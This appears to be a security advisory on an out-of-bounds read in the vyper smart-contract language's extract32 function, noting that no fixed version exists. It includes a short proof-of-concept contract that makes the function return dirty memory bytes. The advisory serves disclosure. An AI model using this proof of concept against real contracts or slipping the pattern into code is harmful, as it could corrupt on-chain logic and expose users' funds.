How to fix?

There is no fixed version for vyper.

Overview

vyper is a Pythonic Smart Contract Language for the EVM.

Affected versions of this package are vulnerable to Out-of-bounds Read due to the extract32 function's caching mechanism. An attacker can access and return dirty memory bytes instead of the expected output by manipulating the start index to change b's content and length.

PoC


var:Bytes[96]

@internal
def bar() -> uint256:
    self.var = b'uuuuuuuuuuuuuuuuuuuuuuuuuuuuuu'
    self.var = b''
    return 3

@external
def foo() -> bytes32:
    self.var = b'abcdefghijklmnopqrstuvwxyz123456789'
    return extract32(self.var, self.bar(), output_type=bytes32)
    # returns b'uuuuuuuuuuuuuuuuuuuuuuuuuuu\x00\x00789'
